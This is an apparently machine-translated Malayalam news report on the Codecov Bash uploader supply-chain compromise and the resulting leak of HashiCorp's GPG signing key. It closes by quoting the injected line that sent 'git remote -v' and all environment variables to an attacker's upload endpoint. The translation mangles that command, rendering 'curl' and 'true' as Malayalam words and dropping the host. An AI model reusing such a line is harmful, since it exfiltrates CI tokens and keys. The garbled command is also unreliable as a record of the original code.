കോഡ്‌കോവ് സ്‌ക്രിപ്റ്റിലേക്ക് ക്ഷുദ്ര കോഡ് അവതരിപ്പിച്ചത് ഹാഷികോർപ്പ് പിജിപി കീയുടെ വിട്ടുവീഴ്‌ചയിലേക്ക് നയിച്ചു.

വാഗ്രന്റ്, പാക്കർ, നോമാഡ്, ടെറാഫോം എന്നീ ഓപ്പൺ സോഴ്‌സ് ടൂളുകൾ വികസിപ്പിക്കുന്നതിൽ പേരുകേട്ട ഹാഷികോർപ്പ്, റിലീസുകൾ സ്ഥിരീകരിക്കുന്ന ഡിജിറ്റൽ സിഗ്നേച്ചറുകൾ സൃഷ്ടിക്കാൻ ഉപയോഗിക്കുന്ന സ്വകാര്യ ജിപിജി കീ ചോർന്നതായി പ്രഖ്യാപിച്ചു. GPG കീയിലേക്ക് ആക്‌സസ് ലഭിച്ച ആക്രമണകാരികൾക്ക് ശരിയായ ഡിജിറ്റൽ സിഗ്നേച്ചർ ഉപയോഗിച്ച് പരിശോധിച്ച് ഹാഷികോർപ്പ് ഉൽപ്പന്നങ്ങളിൽ മറഞ്ഞിരിക്കുന്ന മാറ്റങ്ങൾ വരുത്താൻ സാധ്യതയുണ്ട്. അതേസമയം, ഓഡിറ്റിങ്ങിൽ ഇത്തരം പരിഷ്‌കാരങ്ങൾ വരുത്താൻ ശ്രമിച്ചതിന്റെ സൂചനകളൊന്നും കണ്ടെത്തിയിട്ടില്ലെന്ന് കമ്പനി വ്യക്തമാക്കി.

നിലവിൽ, അപഹരിക്കപ്പെട്ട GPG കീ അസാധുവാക്കി, പകരം ഒരു പുതിയ കീ അവതരിപ്പിച്ചു. SHA256SUM, SHA256SUM.sig ഫയലുകൾ ഉപയോഗിച്ചുള്ള പരിശോധനയെ മാത്രമേ ഈ പ്രശ്നം ബാധിച്ചിട്ടുള്ളൂ, കൂടാതെ releases.hashicorp.com വഴി വിതരണം ചെയ്യുന്ന Linux DEB, RPM പാക്കേജുകൾക്കായുള്ള ഡിജിറ്റൽ സിഗ്നേച്ചറുകളുടെ ജനറേഷനെ ബാധിച്ചില്ല, കൂടാതെ MacOS, Windows എന്നിവയ്‌ക്കായുള്ള റിലീസ് സ്ഥിരീകരണ മെക്കാനിസങ്ങളും (AuthentiCode) .

തുടർച്ചയായ സംയോജന സംവിധാനങ്ങളിൽ നിന്ന് കവറേജ് റിപ്പോർട്ടുകൾ ഡൗൺലോഡ് ചെയ്യുന്നതിനായി രൂപകൽപ്പന ചെയ്ത, ഇൻഫ്രാസ്ട്രക്ചറിലെ കോഡ്‌കോവ് ബാഷ് അപ്‌ലോഡർ (കോഡെകോവ്-ബാഷ്) സ്‌ക്രിപ്റ്റ് ഉപയോഗിച്ചതിനാലാണ് ചോർച്ച സംഭവിച്ചത്. കോഡ്‌കോവ് കമ്പനിയ്‌ക്കെതിരായ ആക്രമണ സമയത്ത്, നിർദ്ദിഷ്ട സ്‌ക്രിപ്റ്റിലേക്ക് ഒരു ബാക്ക്‌ഡോർ മറച്ചു, അതിലൂടെ പാസ്‌വേഡുകളും എൻക്രിപ്ഷൻ കീകളും ആക്രമണകാരികളുടെ സെർവറിലേക്ക് അയച്ചു.

കോഡ്‌കോവ് ഡോക്കർ ഇമേജ് സൃഷ്‌ടിക്കുന്ന പ്രക്രിയയിലെ ഒരു പിശക് ഹാക്ക് ചെയ്യാൻ, ആക്രമണകാരികൾ മുതലെടുത്തു, ഇത് codecov.io-യിൽ നിന്ന് വിതരണം ചെയ്ത ബാഷ് അപ്‌ലോഡർ സ്‌ക്രിപ്റ്റിൽ മാറ്റങ്ങൾ വരുത്തുന്നതിന് ആവശ്യമായ GCS-ലേക്ക് (Google Cloud Storage) ആക്‌സസ് ഡാറ്റ എക്‌സ്‌ട്രാക്റ്റുചെയ്യാൻ അനുവദിച്ചു. വെബ്സൈറ്റ്. ജനുവരി 31-ന് മാറ്റങ്ങൾ വരുത്തി, രണ്ട് മാസത്തേക്ക് കണ്ടെത്താനായില്ല, കൂടാതെ ഉപഭോക്തൃ തുടർച്ചയായ ഏകീകരണ സിസ്റ്റം പരിതസ്ഥിതികളിൽ സംഭരിച്ചിരിക്കുന്ന വിവരങ്ങൾ എക്‌സ്‌ട്രാക്റ്റുചെയ്യാൻ ആക്രമണകാരികളെ അനുവദിച്ചു. ചേർത്ത ക്ഷുദ്ര കോഡ് ഉപയോഗിച്ച്, ആക്രമണകാരികൾക്ക് പരീക്ഷിച്ച Git ശേഖരണത്തെക്കുറിച്ചും ആപ്ലിക്കേഷൻ കോഡ്, ശേഖരണങ്ങൾ, ആമസോൺ വെബ് സേവനങ്ങൾ, GitHub പോലുള്ള സേവനങ്ങൾ എന്നിവയിലേക്കുള്ള ആക്‌സസ് ഓർഗനൈസ് ചെയ്യുന്നതിനായി തുടർച്ചയായ സംയോജന സംവിധാനങ്ങളിലേക്ക് കൈമാറുന്ന ടോക്കണുകൾ, എൻക്രിപ്ഷൻ കീകൾ, പാസ്‌വേഡുകൾ എന്നിവയുൾപ്പെടെ എല്ലാ പരിസ്ഥിതി വേരിയബിളുകളെക്കുറിച്ചും വിവരങ്ങൾ നേടാനാകും.

നേരിട്ടുള്ള കോളിന് പുറമേ, Codecov-action (Github), Codecov-circleci-orb, Codecov-bitrise-step എന്നിവ പോലുള്ള മറ്റ് അപ്‌ലോഡർമാരുടെ ഭാഗമായി Codecov Bash അപ്‌ലോഡർ സ്‌ക്രിപ്റ്റ് ഉപയോഗിച്ചു. കോഡ്‌കോവ്-ബാഷിന്റെയും അനുബന്ധ ഉൽപ്പന്നങ്ങളുടെയും എല്ലാ ഉപയോക്താക്കളും അവരുടെ ഇൻഫ്രാസ്ട്രക്ചറുകൾ ഓഡിറ്റ് ചെയ്യാനും പാസ്‌വേഡുകളും എൻക്രിപ്‌ഷൻ കീകളും മാറ്റാനും ശുപാർശ ചെയ്യുന്നു. ചുരുളൻ -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// /upload/v2 || സത്യം

അവലംബം: opennet.ru